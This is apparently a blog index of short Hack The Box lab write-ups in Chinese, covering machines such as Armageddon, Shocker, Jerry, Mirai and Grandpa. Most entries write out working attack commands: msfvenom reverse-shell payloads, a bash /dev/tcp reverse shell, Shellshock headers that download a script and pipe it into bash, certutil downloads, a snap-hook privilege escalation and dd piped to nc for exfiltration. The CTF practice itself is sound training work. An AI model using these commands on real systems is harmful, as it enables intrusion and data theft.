Arkham (Hack The Box Writeup)

URL : https://app.hackthebox.com/machines/179 先講結論,這是我最近打過 HTB 最硬的一題 …… ,這絕對不是 Medium 的機器,他難度絕對絕對有 Hard。我覺得這一題對於初學者,甚至是剛拿到 OSCP 的人應該都會覺得打得很痛苦 QWQ 這一題題目包含的知識點: LUKS 解密 Tomcat Config 解析 HMAC 簽章 DES 加解密 Java Viewstate 反序列化 Bypass Windows Defender Microsoft Outlook email folder (ost) 解析 Base64 圖片還原 Invoke-command 切換使用者 Bypass CLM CMSTP UAC Bypass SMB 有開 SMB 所以先匿名登上去 ~/HTB/Arkham/new ᐅ smbclient.py 10.129.106.199 Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation Type help for list of commands # login meow Password: [*] GUEST Session Granted 發現可以存取 BatShare,裡面有一個 appserver.zip,載下來分析 ...

2022-10-15 · 15 分鐘 · steven

Json.Net Unserialize (Hack The Box Writeup)

URL : https://app.hackthebox.com/machines/210 這篇文會從黑箱跟白箱兩個角度來試著了解漏洞的成因與 Exploit 方法,省略一些掃描的過程,直接進入滲透步驟。 Black Box http://10.129.227.191/login.html 是一個登入介面,透過弱密碼 admin / admin 可以進入後台。 觀察登入狀態,可以看出我們是 Post 一個 Json 來進行登入,而登入後會幫我們 Set 一組 Cookie,從 Response 的 Header 可以看出這是一個 IIS 的 Server。 這邊可以猜測說,登入後他應該會把 Json 解析或反序列化到某個物件之中,那我們可以試著看看,如果我們給他一個壞掉的 Json 會發生什麼事,例如下圖給他一個最後缺少 " 的 Json,發現他會噴錯。 at DemoApp.Data.UsuariosData.GetMd5Hash(String input) at DemoApp.Data.UsuariosData.Autenticar(String usuario, String password) at DemoAppExplanaiton.Controllers.AccountController.Login(Usuario login) in C:\Users\admin\source\repos\DemoAppExplanaiton\DemoAppExplanaiton\Controllers\AccountController.cs:line 24 at lambda_method(Closure , Object , Object[] ) at System.Web.Http.Controllers.ReflectedHttpActionDescriptor.ActionExecutor.<>c__DisplayClass6_2.b__2(Object instance, Object[] methodParameters) at System.Web.Http.Controllers.ReflectedHttpActionDescriptor.ExecuteAsync(HttpControllerContext controllerContext, IDictionary`2 arguments, CancellationToken cancellationToken) --- End of stack trace from previous location where exception was thrown --- at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task) at System.Web.Http.Controllers.ApiControllerActionInvoker.d__1.MoveNext() --- End of stack trace from previous location where exception was thrown --- at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task) at System.Web.Http.Controllers.ActionFilterResult.d__5.MoveNext() --- End of stack trace from previous location where exception was thrown --- at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task) at System.Web.Http.Dispatcher.HttpControllerDispatcher.d__15.MoveNext()"% 然而,這些錯誤並沒有太大的幫助 QQ,接下來我們觀察正確的登入後,他吐出來的餅乾是啥。很直覺可以知道他是一個 base64 ...

2022-10-11 · 5 分鐘 · steven

Celestial (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/130 IP : 10.129.217.35 Recon 掃 PortnmapAutomator.sh -H 10.129.217.35 -t recon 掃路徑- 首頁 404- 發現有餅乾- F5 後- 發現餅乾是 Serialize Serialize import requests import base64 src = b'{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}' dst = base64.b64encode(src).decode('ascii') cookies = { 'profile': dst } headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1', 'If-None-Match': 'W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"', 'Cache-Control': 'max-age=0', } response = requests.get('http://10.129.217.35:3000/', headers=headers, cookies=cookies) print(response.text) 亂戳 {"username": "meow" ,"country":"Idk Probably Somewhere Dumb","city":"Lametown","num": true} 會回傳 Hey meow true + true is 2 戳 ...

2021-09-23 · 2 分鐘 · steven

Buff (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/263 IP : 10.129.2.18 Recon 掃 Port掃目錄- /Readme.md觀察首頁- SQL 檔案 找到專案 Project- https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/ 預設密碼,登入失敗試用 Exploit- 準備另外一個 reverse shell- 確認 Systeminfo- 取 Userflag- 提權 確認 Defender 有開產 Shell- msfvenom -p php/reverse_php LHOST=10.10.16.35 LPORT=7877 -f raw > shell.php powershell -c "wget http://10.10.16.35/shell.php -outFile shell.php"亂逛系統- 觀察開的 Port- netstat -ano -p tcp 觀察執行中的 Process- tasklist 發現 Downloads 資料夾有 CloudMe_1122.exe- 觀察開的 Port- 8888 但他只綁 127.0.0.1 Exploit 本地端執行./chisel server -p 9999 --reverse遠端執行- chisel.exe client 10.10.16.35:9999 R:8888:127.0.0.1:8888 把 Port 轉回 127.0.0.1:8888收封包- 使用 Exploit- https://www.exploit-db.com/exploits/48389修改 shell code- msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.35 LPORT=4444 EXITFUNC=thread -b "\x00\x0d\x0a" -f python 收 Reverse shell- 取得 Root flag-

2021-09-23 · 1 分鐘 · steven

Armageddon (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/323 IP : 10.129.216.90 Recon nmapAutomator.sh -H 10.129.216.90 -t recon80 22 Exploit https://github.com/pimps/CVE-2018-7600 Webshell python3 drupa7-CVE-2018-7600.py http://10.129.216.90/ -c "echo ' s.php " 確認電腦裡有 curl下載 reverse shell- curl http://10.10.16.35/s_HTB -o s 但發現戳不回來傳 b374k- http://10.129.216.90/s.php?A=curl%20http://10.10.16.35/b374k.php%20-o%20s.php 戳 reverse shell 發現權限不足Try msf shell- msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7878 -f elf > shell1 給權限- 還是沒權限試試看如果連 80 port- bash -c 'bash -i >& /dev/tcp/10.10.16.35/80 0>&1' 成功 提權 收 Reverse shell載豌豆- 發現一些密碼- drupal-6.user-password-token.database.php spawn- perl -e 'exec "/bin/bash";'dump mysql- mysqldump -u drupaluser -h localhost -p drupal > a.sql找到一組 hash- 確認使用者名稱- 爆破 hash- hashcat -m 7900 hash.txt /opt/rockyou.txt 取得帳密- brucetherealadmin booboo切換使用者- 提權 直接用 SSH 登入 發現可以用 sudo snap本地- gem install fpm https://gtfobins.github.io/gtfobins/snap/#sudo照做提權- COMMAND="bash -c 'bash -i >& /dev/tcp/10.10.16.35/80 0>&1'" cd $(mktemp -d) mkdir -p meta/hooks printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install chmod +x meta/hooks/install fpm -n xxxx -s dir -t snap -a all meta 傳上去收 Reverse shell- 取得 Root-

2021-09-23 · 1 分鐘 · steven

Shocker (Hack The Box Writeup)

IP : 10.129.213.104 URL : https://app.hackthebox.eu/machines/108 Recon Rustscannmap- 觀察首頁- 通靈掃到目錄 /cgi-bin/user.sh- Shell shock 在 User agent 增加() { :;}; echo; /usr/bin/id User-Agent: () { :;}; echo; /usr/bin/wget 10.10.16.35:8000/s_HTB /tmp/s- 下載 shell 執行 shell- User-Agent: () { :;}; echo; /usr/bin/wget -O - 10.10.16.35:8000/s_HTB | /bin/bash Reverse shell 收 shellSpawn shell- python3 -c 'import pty; pty.spawn("/bin/bash")'Get user flag- 6e9aad0e2498bff702b570c2da380288 提權 跑豌豆可以執行 perl- sudo perl -e 'exec "/bin/sh";'取得 Root Flag- e3e05cbd925c9e407215bb26e9b7e47d

2021-09-15 · 1 分鐘 · steven

Nibbles (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/121 IP : 10.129.214.27 Recon Rustscan觀察首頁- Apache 找到隱藏目錄 /nibbleblog/看起來是一個 CMS- 搜尋 Exploit- 看起來 4.0.3 版本有洞 有帳密就可以傳東西 https://github.com/TheRealHetfield/exploits/blob/master/nibbleBlog_fileUpload.py繼續掃目錄- http://10.129.214.27/nibbleblog/admin/ 登入頁面- install- updateGoogle 到預設密碼- admin / nibbles 這邊有點通靈 QQ Exploit 用 MSFmsf multi/http/nibbleblog_file_upload``spawn shell- python3 -c 'import pty; pty.spawn("/bin/bash")'取得 User flag- 提權 起手式可以執行 monitor.sh直接用/bin/bash蓋掉- sudo 執行- 取得 Root取得 Root Flag- 4c0ebef2dfb32a8d33212e1a902f50f2

2021-09-15 · 1 分鐘 · steven

Mirai (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/64 IP : 10.129.214.20 Recon http://10.129.214.20/首頁是空ㄉ Rustscan- nmap- nmap -A -p22,53,80,2000,32400,32469 10.129.214.20dirsearch 掃目錄- 32400 Port 跑了一個 PLEX- Pi-Hole 在 :80/admin- https://www.exploit-db.com/exploits/48442需要密碼才能 RCEdnsmasq Exploit https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14491.py 爆破密碼 hydra -l '' -P /opt/wordlists/rockyou.txt 10.129.214.20 http-post-form "/admin/index.php?login:pw=^PASS^:Forgot password" 跑了很久都沒有,應該不是 QQ Exploit 看到 Pi-Hole 又有 PLEX 影音伺服器猜他是樹梅派所以 pi 預設帳密- pi / raspberrySSH- 好無聊 = =取得 User Flag- ff837707441b257a20e32199d7c8838d 提權 起手式 sudo -l 發現可以直接變 root 數位鑑識 取 root flag 搞事ㄛ = =確認外接裝置- 到隨身碟裡找東西- 詹姆斯在搞ㄛ = =直接暴力解- strings 硬碟 3d3e483143ff12ec505d026fa13e020b暴力解也可以傳回本地處理- 本地監聽 nc -l 1234 > usbstick.dump 遠端用 dd 把資料丟出來sudo dd if=/dev/sdb | nc -w3 10.10.16.35 1234 嘗試失敗的方法 (Testdisk) 使用 Testdisk 還原https://blog.gtwang.org/linux/testdisk-linux-recover-deleted-files/用 scp 傳過去- 解壓縮- 用 sudo 執行- 選定硬碟 sdb- 預設沒有分割區- 選擇格式- 找到刪除的 root.txt- 選到 root.txt 按 C 選存檔位置- 但這樣出來的檔案是空的 QQ

2021-09-15 · 1 分鐘 · steven

Jerry (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/144 IP :10.129.1.110 Scan 掃 Portrustscan -a 10.129.1.110 -r 1-65535 發現有開8080 Brute Force 嘗試 msf 爆破auxiliary/scanner/http/tomcat_mgr_login 發現密碼是 tomcat:s3cret Wordlist- /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt 進入 Manager APP 發現不登入直接按 Manager App 就可以進後台ㄌ= = Web shell 準備 jsp web shellhttps://github.com/tennc/webshell/blob/master/fuzzdb-webshell/jsp/cmd.jspjar -cvf cmd.war cmd.jsp- 上傳 webshell- 執行 webshell- 發現本來就是 system 權限確認系統資料- 64 bit Reverse shell 準備 Reverse shellmsfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7877 -f exe > shell.exe下載 reverse shell- certutil -urlcache -f http://10.10.16.35/shell.exe shell8787.exe 執行 Reverse shell- 取得 Flag-

2021-09-15 · 1 分鐘 · steven

Grandpa (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/13 IP : 10.129.2.85 Recon Rustscan 開 80 portnmap- 發現是 IIS6 可以用 CVE-2017-7269 RCE https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269 Exploit 執行 Exploit開 nc 收 shell- 跑 systeminfo- 發現 Windows 2003 可以跑 Churrasco- https://github.com/Re4son/Churrasco用 impacket-smbserver meow . 開- 執行 Churrasco提權完畢- 取得 User Flag- bdff5ec67c3cff017f2bedc146a5d869取得 Root Flag- 9359e905a2c35f861f6a57cecf28bb7b

2021-09-15 · 1 分鐘 · steven